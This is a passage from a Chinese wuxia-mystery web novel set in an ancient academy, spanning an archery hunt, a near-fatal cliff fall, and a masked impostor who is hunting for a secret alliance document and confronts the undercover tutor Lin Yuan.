“山长教诲的是,还有两日便满三月。这白衣学生不会再穿。”
“嗯,去准备吧。以万宗的射艺,怕是要打只鹿回来。是不是?”山长一直眉眼带笑,越看蔺渊越是喜欢。
“学生定当全力而为。”蔺渊行礼道。
“哦,对了,裕亲王要来巡视邓州,给咱们书院下了拜帖。万宗任过京官,比我们这些乡野村夫要懂规矩,届时老朽想请你来接待王驾。”
“这....”蔺渊还是习惯性推辞道:“迎接王驾这么大的事,学生怕侍奉不周,带累书院。”
“莫怕,王爷是再和善不过的人,来书院也是故地重游,回忆少时求学时光罢了。”
“王爷曾在咱们书院读过书?”
“五年。”山长扬了下手掌,自豪的道:“说句大不敬的话,我与王爷算是同窗。”紧接着山长又拉着蔺渊细数着花洲书院的辉煌,一直念叨到用膳时分,这才放蔺渊离开去参加下午的狩猎。
花洲书院依山而建,书院大部分坐落在南峰,而西山也就是学子们常提的后山便是这次狩猎的围场。
学子们每人领五支箭分散在后山狩猎,各个精神百倍,劺足劲要为自己书院争光。
每家书院都拥有属于自己的院服。花洲书院以桃花为印,所以院服衣缘、衣角处都绣有桃花。女子着桃花裙,男子则穿青色长衫。
“阿焕,你看这是什么树?”唐黎点着一旁的树干问道。这时节树早已落叶,光秃秃的树枝让本就不识五谷的唐黎分别不出来。
“嗯……”林焕左右观察,回答道:“大杨树。”<
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“那这个呢?”
“也是大杨树。”
唐黎皱起眉头,看着路两侧的树木道:“三颗银杏树,两棵柳树,左右分列山口旁。咱们经过四处断路,怎么还没寻到赵雪儿落崖的地方?”
“兴许师姐记错了?”
“难得后山开放,我得好好找找。”
蔺渊不会平白无故的套话,他用饴糖收买苏天赐问的全是三个月前举办的射礼,甚是关注受伤的学子们。
若是能得知蔺渊来书院的目的,就能顺藤摸瓜找到毒害他之人。
打听完整件事,唐黎觉得两位师姐平白无故落下山太过蹊跷,非要找到落崖地点,寻出个蛛丝马迹。
她特地找过冉晴询问,在上次举办乡射时,冉晴正挂在断崖上采药。也不知怎么回事就落下山崖,好在那断崖不高,没出什么大事。
赵雪儿则说,她与薛师兄看到后山有鬼祟人影,师兄上前拿贼让她回山报信。结果在路上被人伏击,慌不择路才选择跳崖。最后衙门也没查出个所以然来,这事就不了了之。
那天除了三名学子受伤,花洲书院引以为傲的百年藏书阁起了莫名火,这也是后山封禁至今的原因。
林焕提议道:“咱们上山再继续找吧。”她刚要转身被唐黎拉住,就听唐黎低声道:“等等,有人跟踪我们。”
林焕真的定住身影,她紧张到手脚不知要如何自处。这时草丛中蹦出来个兔子,竖起来的耳朵动一动就将紧张气氛冲散。
唐黎眨眨眼,竟然是只兔子?难道方才是自己太紧张了?
林焕也跟着松了口气,她追着兔子跑着道:“小兔子乖乖让我抱抱,否则我就用箭射你了哦。”
呼的一支快箭飞来,几乎是擦着林焕耳边而过,林焕吓得呆坐在地上,紧接着又是一箭,唐黎眼疾手快扑倒林焕,两人连滚数圈才躲过去。
唐黎确认林焕没有受伤后,拔出地上的箭作为防身的利器,她环顾四周喝道:“给我滚出来!”
自然是没有人应声,但还是有箭飞出,这下唐黎明确对方位置,毫不犹豫将手中的箭甩出去。
疼呼声在密林处响起,唐黎满意的一笑,飞身将幕后黑手给揪了出来。
“赵柯师姐?”林焕满目的不可置信,自己与师姐无冤无仇,平日里被处处针对就算了,今日竟然起了杀心。
“赵学姐你我到底有何仇?要这般对我啊?”林焕委屈到涕不成声。
赵柯冲着林焕呸了一声,嫌弃的瞥她一眼道:“就会装可怜。”
唐黎则是揪过赵柯的领子,迫使她看向自己的眼睛,万分严肃的道:“这是我第一警告你,也是最后一次。若是再敢针对林焕,或是再去林家使坏,我定让你家破人亡,真正意义上的家破人亡。”她靠近赵柯的耳边道:“你是知道我的身份,我向来是说到做到。”
赵柯眼角微抖,害怕到吞咽口水。她挣扎的想后退,可唐黎就是不松手,一双眸子像盯猎物般锐利。这一幕正好落在蔺渊眼中。
“唐学子,你这是在做什么!”蔺渊快步跑过来。他半路遇到五斋学子的求助,赶过来就见唐黎一副咄咄逼人的模样。
赵柯泪眼汪汪的像蔺渊求救:“蔺夫子,您快管管唐黎,她疯了!”此刻她的胳膊上中了一箭,鲜血正不停地往下流淌,脸色煞白让人瞅着心疼。
罪魁祸首显而易见。
面对其他人的审视唐黎丝毫不怵,依旧揪着赵柯的衣领凶巴巴的,她要是在乎别人的看法就不会被戏称为横主儿。
身为夫子的蔺渊再次命令道:“唐黎,松手!”
30. 射礼(二)
唐黎的倔劲上头,她偏过头看向蔺渊道:“连你也要向着她?”
蔺渊注意到还坐在地上的林焕,差不多猜出事情的经过。
唐黎虽说骄纵,却不是那不讲理之人。定是五斋这几位又欺负林焕才逼她出手。可如今的情形任谁都会觉得是唐黎在霸凌同窗。
在更多人没来之前,劝唐黎放手是最好的解决方法。
“先松手,有事好好说。”蔺渊放柔了声音。可唐黎还是不理他,他便上前拉拉唐黎的袖角,压低声音甚至带着丝恳求道:“你这副模样有理也会变成没理。听话,先松手。”
唐黎向来是吃软不吃硬的,在蔺渊的柔声劝说下她总算松开赵柯,后者吓到腿软,往后踉跄几步便跌坐在地。
蔺渊对此表示,胆子这么小还爱惹事,招谁不好你招惹唐黎。自己来书院没几天都听过唐黎横主儿的名号。
蔺渊轻咳一声,以夫子的姿态询问事情的经过,结果在场的没一人吭声。蔺渊的目光挨个扫过每个人。林焕低着头小声抽泣,赵柯在师妹帮助下包扎伤口,等转到唐黎身上时她一双杏眸瞪着赵柯,若是眼神能化刀,赵柯怕是已千疮百孔。
嘿,这帮学子倒是有趣,方才打的跟乌眼鸡似的,夫子问话主持公道,竟没一人开口,倒是一致对外啊。
“都不肯说吗?”蔺渊道。
“.......”依旧是无人应答,现场安静极了,除了林焕那似有似无的哭啼声。
蔺渊朝着唐黎伸出手去,唐黎瞥了他一眼选择无视他,继续瞪着赵柯。
“手帕。”蔺渊动了动手指。唐黎往旁边躲上一步,又瞥了眼他没好气的道:“你自己没有吗?”
“给林学子的,我的不合适。”
唐黎这才把手帕扔给蔺渊,蔺渊来到林焕身边蹲下并递出手帕道:“可有伤到?”
“夫子,我没事。”林焕抹了把泪。
至于唐黎还是斗鸡似的死蹬着赵柯。蔺渊自知以自己的能力劝不动唐黎,便从赵柯下手。
他抬手招呼那名通风报信的学子道:“那....那个谁,你快带着赵学子下山上药,你们那样包扎肯定不行。”
矛盾的主体离开,此处气氛才有所缓和。
对于方才的事蔺渊没有多问,也懒得过问。谁上学的时候不吵架、打架的。这正常极了。
他临走前嘱咐道:“这块路险,还是去北峰玩儿吧。那边兔子小羊挺多的,上官竹就抓到不少。师兄师姐都在那边,也好有个照应。”
唐黎不喜欢他这逗小孩儿般的语气,忍不住的回复道:“打猎又不是玩。”
“昂,快去吧,一定要注意安全。”蔺渊离开前递给唐黎一小包饴糖,特别声明道:“麟凤阁的。”
最后挥挥手转身离开。
唐黎注意蔺渊没背箭篓,反倒背着书箕。此路往前便是藏书阁。
藏书阁整修完毕,与这次西山狩猎一同开放。刚开放就迫不及待的前去,看来对他很重要嘛。
自然是重要。
蔺渊隐与书院为的就是藏书阁内所藏之物。
花洲书院拥有百年历史,它的藏书阁甚至比书院的历史还要久,可以说是先有藏书阁再有花洲书院。
起先藏书阁是有名字的,但其名字又拗口又难写。学子们偷懒都称其为西山藏书阁,慢慢地它本来的名字便被隐去。
楼有七层,伫立在银杏林中,远远看去威严肃静。可惜因为三月前的那场火将其一至三层的木檐全部烧毁,如今工匠们还在赶工修复。
“站住!”楼前的守卫将蔺渊拦住。也是因为那场火,衙门格外重视藏书阁这个邓州的金子招牌,特意派兵驻守以防再遭遇不测。
“小可是书院十八斋的夫子,听闻藏书阁重新开放特来借览几本古籍。”
守卫公事公办道:“没有衙门的手书,谁都不可进入。”
“没着火前大家都是随便进出的。”
“就是因为什么人都能进才会着火,县令相公说了,以后谁都不许进。”
“此举实乃不妥,书是用来看的,更应该给需要他的人看。供在楼中只会使他失去作为书的价值。”
“夫子不用给我讲经,小弟也是奉命行事。”
蔺渊望了一眼藏书阁,有这么多人保护藏书阁也是件好事,那就说明里面的东西还在。
他道声告退,回头就碰上顾平安。
“蔺夫子,这么巧啊。”顾平安今日全甲加身,威风凛凛宛如天神将军。
“是啊。顾相公是来参加射礼的?”
“我哪里有这闲情雅致,带兵来保护各位相公。这不,巡逻到此。”顾平安回身指着藏书阁道:“蔺夫子知道这里藏着什么吗?”
“自然是书。”
顾平安笑笑,点指着蔺渊道:“单单是些书籍恐怕不会劳您大驾。”
蔺渊也笑了笑道:“蔺某还真就是为了这些书籍而来。别说蔺某,天下读书人都向往此处。”
可能怕顾平安继续追问,蔺渊主动询问起梅花针案的侦破情况。
果然比起探寻蔺渊入书院的目的,案子更能牵动顾平安的心,两人一路边走边聊。
“这么说,顾相公还是没有将陶小姐的案子上报?没有让衙门将两案并查?”蔺渊试着询问道:“难道是怕陶小姐清誉受损?你与陶小姐是旧识?”
蔺渊越猜越离谱,就差说他二人有私情,顾平安急忙打断他的话道:“别瞎说。让我夫人听到了我吃不了兜着走。”
“好,我不瞎说,烦请顾相公解释一二。”
“我与陶小姐的是何关系又不碍着你办案。”
“推案讲究抽丝剥茧,与案件有关的事情都是关键。顾相公知晓众人所不知道的陶小姐之死因,璃羽出事时又恰巧出现在青楼,并且.....”
蔺渊一个跨步来到顾平安对面,指着对方道:“并且阻碍两案并查,不得不说顾相公的嫌疑十分的大。”
“你!”顾平安一时间不知如何回答。
“也许你只是假装热心查案,实际上你才是那心狠手辣的连环杀人凶手。”蔺渊表情严肃,目光炯炯的盯着顾平安。
他的眼神说不上锐利,却带着一股子威慑力。上下扫视着对方,不是打量而是审判,微挑的嘴角仿佛一切尽在掌控。
那一刻,顾平安竟然有些心虚,眼神不自然的闪烁,觉得自己真就如蔺渊所说一般。很快他回过神来,急切地辩解道:“我不是!”
方才还一本正经的蔺渊转眼便笑到弯腰,一甩袖子大笑起来:“我当然知道你不是。哈哈哈,我是逗你玩的。”
蔺渊扶着腰还在笑,满脸的轻松惬意:“顾相公,你可比书院里的那些学子们有趣多喽。”
“你!”顾平安自然生气,顺带着拔出腰间的佩刀,蔺渊见状直接跑远道:“要不说心虚别见官,你自己心虚怪不得别人。”
此案顾平安确实藏有私心,被人看出来也不奇怪,于是他收回佩刀追上蔺渊郑重拱手行礼,并道出自己不肯并案的原因。
“蔺夫子为南衙做事,自然是知道南衙的一项规定。”
“你想破悬案入南衙?”蔺渊对此事略有耳闻,自然而然的联想到一处。
“是。”顾平安承认道。也解释为何不愿并案的原因,因为他想独占功劳。
蔺渊微微点头,当官的定然是想升官。但顾平安是武将,不该走破案这条路,立军功反而更快,毕竟南衙十六卫的统领们都是武官职位。
“立军功?没那么容易。如今四海升平,无甚战事。邓州又非边境,军队除了守城毫无用武之地,要想立军功只剩.....”他抬眸看向蔺渊道:“剿匪。”
蔺渊笑得有些尴尬,他下意识往后退缩一步,生怕顾平安拔刀出鞘,剿了自己这位“匪”。
顾平安微抬下巴,自认扳回一局:“夫子不用怕,杀你不过才给五千两,得不到军功,也
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入不了南衙。”
“顾相公说笑了。”
“开玩笑嘛。”顾平安狠狠地拍了两下蔺渊的肩头,显然就是在报复。
两人勾肩搭背好兄弟般走在山路上,蔺渊微缩起肩头,就知道他们这些习武之人手劲儿大,估摸着明天又该青一块紫一块。
说回道西峰崖前,林焕正抱着兔子若有所思,唐黎歪头瞧了瞧林焕脸色还是不太好。
“要不,我再给你抓个兔子?”
林焕摇摇头,有一下没一下抚摸着兔子,今日之事对她打击太大。
学姐要杀我?
从来以为学姐是对我有误会才厌弃我,哪怕是看我不顺眼就想讥讽几句也行啊。
哪曾想她竟然要杀我!
唐黎看林焕钻牛角尖样子就知道她一定不清楚林赵两家的恩怨。
林家虽是小门小户却对一对儿女疼爱万分,林家夫妇一定会将这些苦楚隐瞒再隐瞒的。哪里像我母亲眼里心中只剩权,只有利。
“阿焕。”唐黎艰难地开口道:“你的弟弟是溺水身亡的吧?”
林焕先是愣了一下,最后嗯了一声。她不明白唐黎为何要提及这件事。
“你弟弟卖的病猪害死赵柯的父亲,赵家族人吃绝户,抢了她家宅院又气死她的母亲。所以也有人传你弟弟是畏罪投河。”很短的一句话解释了赵柯针对林焕的原因。
“……”
林焕没有接话,她不停的抚摸怀里的兔子,时不时的抬手抹了下眼泪。她终于知道自己被孤立的缘由,可她高兴不起来,也对赵柯恨不起来,只能委屈到掉眼泪。”
“这事你没有错,不必自责。”唐黎安慰着林焕。
见林焕还是不说话,唐黎心疼的搂过她。明知道会让林焕难以接受,但这个结不能永远梗在林焕心间,不能让林焕稀里糊涂的被人欺负还要傻傻地在自身上找原因。
唐黎的良苦用心林焕都明白,她依偎在唐黎的肩膀处干脆痛哭起来。
那些年赵柯带着同窗们孤立林焕,把她当透明人般。直到两年前,红衣姑娘风风火火的闯进林焕的寓所。
“这么大的寓所就你一人住?”
林焕愣愣的点头,随后反应过来这是位新同窗,也是这两年来唯一与自己讲话的同窗,她欢喜的把自己的珍藏香膏、头油都拿来分享。
“谢谢你。”她郑重的抱拳拱手道:“我叫唐黎,师姐如何称呼?”
“林换娘。”她腼腆的回答道。
“换娘?这个名字有些怪怪的。”唐黎性质向来直爽,毫不避讳的说道。
“我爹想要个弟弟,就给我起名换娘,换一换姑娘,下一次就能迎来小子。”她扣着手道:“我不喜欢这个名字,仿佛我只是迎接弟弟的好彩头。”
唐黎拉过对方的手道:“以后我叫你林焕吧,同音不同意。焕字,取鲜亮,光亮之意。你在花洲书院读书,前途必定光明无限。”
林焕默默记在心中,慢慢地她也以林焕自称。
唐黎如太阳般照耀着林焕,也让她阴郁的性格变得活泼起来。即使同窗们依旧不与她交谈,但她一点也不觉得孤单,因为她有唐黎,又在唐黎的带领下认识上官竹。后来复叔,天赐也加入进来。林焕一下子就拥有四个朋友,这是她以往想都不敢想的事情。
过来好一会儿林焕情绪才稳定下来,唐黎如释重负的松口气,摸着林焕怀里的小兔子道:“天色渐晚,咱们得下山了。可惜只有小兔兔一个猎物。”
话音刚落林焕就将兔子放生,唐黎追了半天没追到,插着腰道:“得,空手而归,上官竹会笑掉大牙的。”
唐黎举着弓继续朝前走去,突然她停住脚步喊来林焕道:“阿焕,这是什么树?银杏吗?”
林焕嗯了一声。
唐黎环顾四周,点指着树木道:“面前是断崖,周边是三颗银杏树,两棵柳树.....”
二人异口同声道:“师姐是在这里坠崖的!”
31. 射礼(三)
林焕率先蹲在崖边观察情况,很快就让她有所发现,召唤唐黎道:“我发现绳子!”
唐黎连忙跑过来,林焕嘱咐道:“你慢点,这里碎石太多,危险。”
唐黎同样蹲了下来观察,三个月的时间绳子早于土色无疑,也就林焕心细能察觉到它。
“师姐可能把绳子绑在树上,然后顺着这里下去采药的。”
“绳子腐糟三个月还如此结实,怎会平白无故的断裂?”
林焕提出假设道:“会不会崖壁上有尖锐的石头,绳子被石头磨断的?”
唐黎拉着绳子,一直拉到头。她示意林焕来看:“切口平整,不是石头磨断的。”
“你的意思,被人用刀割断的?师姐故意割断绳子的?这说不通啊?难不成有人要害她,故意割断她的绳子?”
唐黎摇摇头,她也看不明白。本来就不知道事情缘由的两位,纷纷陷入迷雾之中,百思不得其解。
二人蹲在崖边全部陷入沉思,根本没人注意身后多出一道人影。
纤长柔软的手指此刻如同魔爪般出现在林焕身后。
唐黎余光一瞥察觉到异常,来不及警告林焕小心便飞身而来,眼疾手快拉住林焕才让她免与坠崖。
可谁知她虽拉住林焕,自己反而失去平衡,脚下全是乱石,唐黎只能拼命悠着胳膊来保持身体的稳定。
眼看唐黎就要仰面朝着崖下跌去,她本能地伸出手想要抓住任何东西来稳定身形。
一双大手及时出现,握紧她的手腕。
紧接着二人因为惯性齐齐栽了下去。
“唐黎!夫子!”眨眼的功夫俩人便跌落山崖。
林焕来不及哭,就听到蔺渊的声音传来:“千万别靠近!崖边碎石太多,我们没事。”
“夫子!”林焕欣喜万分,而且夫子的声音离自己那般近,那就说明他与唐黎都无碍。
林焕转身就往山上跑去,不远处的山头有一道观,那是吴夫子下榻之所,一定能找到结实的绳子。
多亏蔺渊眼疾手快掏出匕首钉在崖边,如今二人正半吊在崖壁上,他低头嘱咐道:“千万别松手。”
唐黎惊魂未定,耳边是呼呼的风声,蔺渊的声音像从远方传来,让人听得有些恍惚。
转念一想师姐也曾掉下去过,不过伤了胳膊而已,又有何可惧。但她扭头看去,身下竟是万丈深渊!
这不是师姐采药的崖壁!
“怎么会?”唐黎一度怀疑自己看错了。
“唐学子,唐黎!集中精神!抓紧我。”蔺渊不停的唤着她。这孩子,怎能在此刻出神。
唐黎抬眸看向蔺渊,此刻蔺渊的脸上竟有些苍白,手上的纱布已经开始渗血。
“你的伤……”
“无碍。”蔺渊的语气还是那么平静。他见唐黎情绪稳定下来便开始想法子上去。
他的脚不停的在找落脚点,可崖壁石松,脚踩之地必有落石,很难找到着力点。任凭轻功再高,也不可能做到凭空飞上山崖。
蔺渊灵机一动,问道:“唐黎,你可有带匕首?”
“有。”
“快钉到我脚下位置。”
唐黎照做,就腾出一只手的功夫差点没摔下去。二人的手上不停发汗,已经有些抓不住,处境越来越危险。
蔺渊用脚将匕首狠狠踹进山体才终于有个着力点,但也支撑不了太久。他绷紧身子,尽量贴身在崖壁上,对唐黎道:“顺着我爬上去。”
“这怎么能行,你会坚持不住的。”唐黎急忙拒绝。
“听话。不然都得死!”蔺渊的语气不容置疑。
唐黎咬咬牙点头同意他的决定。先是搂过他的腰身,随后双腿用力,将他的身子当做梯子。
两个人的重量都压在一人身上,蔺渊自然不好受,额头上青筋爆起。等唐黎顺利的爬上去,蔺渊立在匕首上的脚瞬间软了下去,整个身体也失去平衡。掉落期间他幸运的抓住一支枯木,才得以喘息。
林焕正带着绳子一路狂奔而来,她大喊道:“绳子!”
蔺渊拉过绳子,毫不犹豫的就将它系在腰间,只是此刻他的手已经痛到麻木整条胳膊,再无半分力气。
今天怕是要交代在这里了。
还行,景倒是挺美的,不比白虎山的差。
不抱希望之际,蔺渊察觉到绳子正在绷直,甚至都能感受到自己在缓慢上升。
“哈。”他笑出声来:“老天保佑,我比一扇猪肉要轻些。”
蔺渊是被生生拉上来,林焕不顾满手的血肉模糊,上来就询问蔺渊的状况。
“您没事吧?”
麻绳的粗糙程度可想而知,更何况坠着个成年男子的体重,林焕的手鲜血直流,皮肉都卷了起来。
唐黎的手亦是如此。
姑娘们鲜嫩的玉手血肉模糊到不忍直视。
蔺渊撕掉衣摆就给她们包扎,此刻他也不顾不上什么男女之防。
“到底是谁!”唐黎咬牙切齿。可恨她没能看清下黑手之人的模样。对方蒙着脸穿着书院服饰,任谁无法辨认其身份。
林焕这时抬眸,点明关键道:“那人的左手中指的关节处一颗黑痣。”她向来对任何细节都万分敏感。
“知道了。”唐黎阴沉着脸,眼神闪过一抹杀意。
暗中推人落崖,此心未免也太狠了些。
“别让我抓到是谁,否则定将她丢下山崖!”想到这她不由得要握紧拳头,还在包扎的蔺渊点开她的小拳头道:“说话就说话,别乱动。”
唐黎的手掌被包裹成熊掌般,她不习惯的支着手,趁着蔺渊给林焕包扎的空档思考着方才发生的一切。
要说书院里恨林焕的只有赵柯,但赵柯不至于会下这般黑的手,不然她这些年读的书岂不白费。
转念一想,若是无人发现的话,就没人能抓住赵柯的罪责。
不对,赵柯怕我,就算害林焕也会选择林焕独自一人的时候。
唐黎转眸便注意到突然出现的蔺渊。奇怪,他为何会突然出现?
而他一出现便会带来危险。
对此蔺渊给的解释是:“哦,我带着顾相公转转后山,路过此处。”
“顾相公呢?”
“乡射马上要结束,他提前离去下山。”
理由不算太离谱,姑且信了你。
唐黎抬腿迈步想去崖边查看一二,却冷不丁觉得膝盖处酸痛,还踉
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跄几下。
她背过身拉起裙子发现膝盖处的红肿,指头大的印迹绝不是混乱中磕碰导致,这分明是飞石技法。
有人故意在我身形不稳时打出石子,促使我落崖?
身后的蔺渊发现唐黎不再骂骂咧咧,反而安静极了,忍不住回身询问情况。
“我被人暗算了?”唐黎的话里充满不可思议,也有些后怕,若不是蔺渊出手怕是会死无葬身之地。
蔺渊却平静的点头道:“我知道。”
“你知道?你看见幕后之人了?”
蔺渊微微摇头道:“没看见。”
唐黎习惯他说话藏半句,但这次关乎到自己的性命,她偏要问到底。
蔺渊经不住询问,于是他选择逃避转身就走。身后的唐黎追了几步追不上便要施展轻功,可惜她的膝盖偏偏使不上力,若不是林焕扶着恐怕要跌倒地。
林焕拦住还要去追的唐黎道:“夫子不愿说你追上也没用。天色渐晚,这里怪渗人的,还是先下山吧。夫子也跑不了,咱们从长计议。”
钟声拉着常常的尾音将学子们唤回书院,上官竹在一干人等中最为扎眼,他竟然猎到一头野猪,雇了外院的几个学子帮他抬着,唐黎大老远就见他招摇过市。
“咳咳,清徽师姐,许久未见,这青色衣裙可真衬你的肤色。天气转凉,师姐应多穿些才是呀。”上官竹潇洒的靠着树拦住一位女学子。
唐黎不满的咳嗽一声,清徽注意到上官竹背后的人,连忙打招呼道:“唐师妹,林师妹,你们的成果如何?”
“唐.....”上官竹回头被吓了一跳,他嘿嘿笑道:“你们走路怎么也没个声。”
“方才听杨夫子在唤师姐,快去吧。”唐黎对着清徽笑了笑,将她从上官竹的“骚扰”下解救出去。
林焕一出现上官竹也不和师姐搭讪,拉着林焕给她看自己猎到的野猪,然后便一脸期待的等着夸赞。
这野猪不大,差不多有两人重,但獠牙看起来锋利无比。
唐黎只瞥了一眼就明白怎么回事,直接道:“作弊不可取。”
上官竹脸色闪过一些不自然,他否认道:“这话不能乱说,我可没有作弊。这箭就是官府发的箭。”
“你确定?”唐黎的眸子闪烁着幽深的光芒,上官竹被看的有些发慌,他不自然的往前挺了挺腰板以此证明自己话的真实性。
唐黎都懒得说他,她看向林焕。林焕蹲下来指着野猪致命的伤口道:“这力道就是飞将军在世也做不到。用弩和弓比赛,胜之不武吧?”
上官竹闻言有些脸红,他还在强辩道:“用的就是官府配发的箭,只不过没用他们发的弓罢了,但这野猪真是我射杀的。”
“我能看出来这里的蹊跷,自然也会有别人能看出来。”林焕想劝他不要将此猎物上交。
“那是因为你爹是屠户又是猎户,自然对猪比较了解。我不管,咱们书院这次就得拿头筹!要不然都对不起夫子那手上的伤。”
“诶。”林焕还想劝,唐黎耸了下肩道:“你管他?到时候被人当众揭穿,落得个没脸才算长记性。”
唐黎惦记着找寻手上有痣的人,拉着林焕挨个与师姐妹们打招呼。
32. 你不该动我的学生
西山顶峰,落叶萧萧,几只山雀慌忙的煽动翅膀,添得几分肃杀的气氛。
蔺渊负手而立,一袭白袍因为落崖导致凌乱不堪,身形倒是挺拔不减。
他望着远方的云雾深处,似乎透过那层迷雾看到了什么。
几声落叶碎裂的声音打破这份沉寂。蔺渊微微侧目,袖中不动声色的握紧匕首。
“也不换身衣服的吗?蔺夫子?”女子的声音响起。
“懒得再跑一趟。”他转过身来,面前的女子身着花洲书院弟子的服饰却蒙着面。
“你来书院月余,一直无视我的存在。我还以为你要继续装温文尔雅的夫子。今日却主动寻我,这是为何呢?”
“你不该动我的学生。”他习惯性带着微笑,只是音色变得低沉。
“那俩姑娘挺聪明的,既然这么愿意玩破案游戏,我便奉陪。尤其是那个唐黎,高傲的不得了,我最烦她那不可一世的模样。”女子的眼眸中闪过一丝冷意。
蔺渊袖中凌空飞出匕首,女子翻身不及,匕首贴着脸颊而过。
蔺渊注意到她的动作迟缓,似乎腿上有伤,便问道:“九斋的赵雪儿如今身在何处?”
女子面纱早已被匕首割破,露出的是赵雪儿的脸,她低头浅笑:“怕是早已化作这林中肥料。”
“你!”蔺渊气愤不已,抬手便指着女子道:“她只是不谙世事的学子,你又何必要让她死?”
柔若无骨的手抚上蔺渊的胳膊,她万分委屈的抬眸道:“我受伤了,被人追杀。花洲书院贤名在外,是清静之所。官兵不敢大肆搜查的,在这里我会很安全。”
“所以你就易容成赵雪儿,假装坠崖摔断了腿,掩盖本来的腿伤?”蔺渊一句话就将对方三个月的行动讲述出来。
“是啊,我想你的学生过不了几天也会查到我。你说,我要怎么对付她们?她们又蠢又单纯。别看唐黎功夫好,若不是经你提醒,那杯毒茶还不是进了肚儿。”
本来还媚眼如丝转眼就充满杀机,转眼利刃就顶在蔺渊的胸口。
“楚明同盟书在哪?”她懒得与蔺渊周旋,干脆讲出自己的目的。
“我也在找。”
“胡说,你的一举一动全在我的监视之下,每天除了授课弹琴品茗下棋外毫无行动。你是为南衙做事的人,自然不敢消极应对,必定是胸有成竹。你定然知道同盟书在何处!”经过这些天的观察,她自认为对蔺渊无比了解。
利刃干脆刺进皮肉中,蔺渊眉头微皱,轻咳两声道:“姑娘既然有求于人便要有个态度。我是个读书人,别动刀动枪的。野蛮。”
女子收回利刃,开门见山道:“同盟书我要定了。与其你我暗中争斗,蔺二爷不如与我合作,事成之后,必定有万两金奉上。”
“好说。”
见蔺渊答应的爽快,女子心中便没底,对方甚至都没有多问两句。她狐疑的打量着对方道:“为何不问我要同盟书做什么?”
“江湖规矩知道的越多死的越快。既然我与姑娘同路,与你方便。如今白虎山被围剿,正是缺钱缺粮之时,蔺某确实需要这黄白之物。”他给的理由倒也说得过去。
“同盟书给了我,你要如何与南衙交代?”
“有什么可交代的,南衙的目标本就不是同盟书。”
“不是同盟书?”初月泛起迷糊,楚明和谈在即不要盟书要什么?她追问道:“南衙派你入山的目的是什么?”
“与你有何关系?反正与你并不冲突。”他又笑着道:“还不知姑娘要如何称呼?”
蔺渊越这么坦荡,女子越觉得不对劲儿,但还是告知姓名:“初月。”
“好名字。”蔺渊点头夸赞道。
看他那副笑模样,初月只觉得虚伪,她冷哼一声道:“知道我最讨厌上谁的课吗?”
“总不会是蔺某人的吧?”
“没错,就是你。你的课长篇大论的讲着大道理,一副就你懂的多,见的多的德行。看着就烦。”
蔺渊似懂非懂的点头道:“记得明后两天我有你们九斋的课。给你透个信,墨义若是答不上来,必会挨手板的。”
“你敢!”初月咬着牙道。她是冒充赵雪儿的身份,本身肚子里本没什么墨水。平日里都是靠装病躲过考试,若是在讲堂上被蔺渊针对,身份很容易暴露。
“我是夫子,你是学子。打你,天经地义。”蔺渊摊开双手,一副无可奈何的样子。
“信不信我揭穿你的身份!”
这句威胁的话都听过无数次了,蔺渊不以为然的挑了下眉:“要是不想得到同盟书,便去做吧。”
“你!”初月争辩不过蔺渊,只好笑颜相对道:“蔺夫子有何吩咐?”
“明日戌时三刻后山落脚亭见,我告诉你同盟书在何处。”
“好。”初月转身就走。
不同于山峰处的剑拔弩张,书院永远是那么宁静平和。乡射结束后书院给了半天假期用来修整,随后一切又回归正轨。
“见过吴夫子。”十八斋的弟子起身行礼。
吴夫子看着空荡的学堂下只有三人,不由得叹了口气。
“夫子,唐黎病了……”林焕给逃课的唐黎找着理由,吴夫子却问道:“你的手伤成这样,还能弹琴吗?”
林焕老实的摇了摇头。
现在能弹琴的就剩两人。上官竹更是把琴倒过来,已经拆下两根弦。哪里有学琴的样子。
“罢了。”吴夫子也没有兴致授课,干脆弹奏两首曲子便离开。
回去的路上正好碰到蔺渊,蔺渊招呼还没来及打,就听对方道:“上行不正,下效不良。”
蔺渊行礼的手有些尴尬,没给他解释的机会吴夫子抱着琴转身离开,光是背影就十分决绝。蔺渊想解释也无处解释。他一拂袖子便往十八斋去,老远就听到琴音如锯木头般难听。
对此蔺渊还是蛮欣慰的点点头,虽说演奏的难听些,到底是在用心练,吴夫子不该过于苛责。
紧接着就听屋内有人说道:“你们看,只要拉这根弦,便可射出银针五枚。”
苏天赐煞有介事的点点头:“就是弦太松,弹的曲子难听。都没人听你的琴,暗器给谁用?”
“有道理。我再研究研究。”上官竹把琴翻了过来,继续拆着琴弦。
“宝儿,给我递一下刻刀。”
“……”
埋头研究的上官竹突然觉得屋内氛围不对,扭头就看到窗口处的蔺渊,他的脸色黑沉极了。
“夫……夫子。”上官竹慢慢站了起来。
蔺渊扭头就走,十八斋真是没救了。亏我还拉下脸去求吴夫子,求她来给这帮小崽子们授课。
上官竹一路追到寓所,他上来就道歉道:“我错了。”
蔺渊倒着茶,看都不看他一眼:“少爷,你没错。你研究机关术,你多厉害啊。”
“夫子您别这么说。”
“出去。”蔺渊冷着脸指着门,将他赶了出去。
“夫子,夫子。”上官竹不停拍着门。
“你又惹夫子生气了?”林焕因为手受伤的原因,她用手腕勾着食盒走了过来道:“唐黎给夫子做了些点心。”
上官竹接过食盒又拍着门道:“夫子,唐黎给您送的点心,您就开开门吧。”
屋里的人还是没有回应,上官竹颓废的坐在门口:“完了,真生我气了。”
他哪知屋中的人早已翻窗而去。蔺渊的黑袍完美隐与黑暗之中,一路潜行来到后山藏书阁。
“这儿。”初月也是一袭黑衣,朝着蔺渊招手。二人躲在浓密的竹林后,看着这座拥有百年历史的藏书阁。
“三个月前失过一次火后被兵马司的人围了个水泄不通,就连这片竹林都被化为禁地。你瞧,现在还有那么多官兵巡逻。”初月介绍着情况。
“这么说,火不是你放的?”
“自然不是。”她看向蔺渊,轻蔑的笑一声:“呵,你还真的什么都没准备啊。真来书院当夫子呢?”
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“我有我的打算。”蔺渊并未搭理她的讥讽。
“我不管你是何打算。我只要我的东西。”初月的手指勾住蔺渊腰带,猛的将他拉到自己面前。
“你……”扑面而来的香气,让蔺渊鼻子有些不适。
“嘘。”初月靠倒在他怀中,轻声道:“有人跟踪。”
蔺渊瞥到不远处那道熟悉的身影,他立刻推开怀里的女子就往外走去。初月却拉住他的胳膊道:“杀人的事就不劳夫子,我来。”
这下换成蔺渊反过来去拉初月,他死死握住初月的手腕直到不远处的那道身影离去。
“她看到我们了!”虽然初月的声音压的很低,但能听出她很愤怒。
“杀了她,只会招来官兵。你还想不想要同盟书了?”
“你心可真软啊。”她替蔺渊理了理领口道:“她撞到你我二人私会,这你要如何解释?”
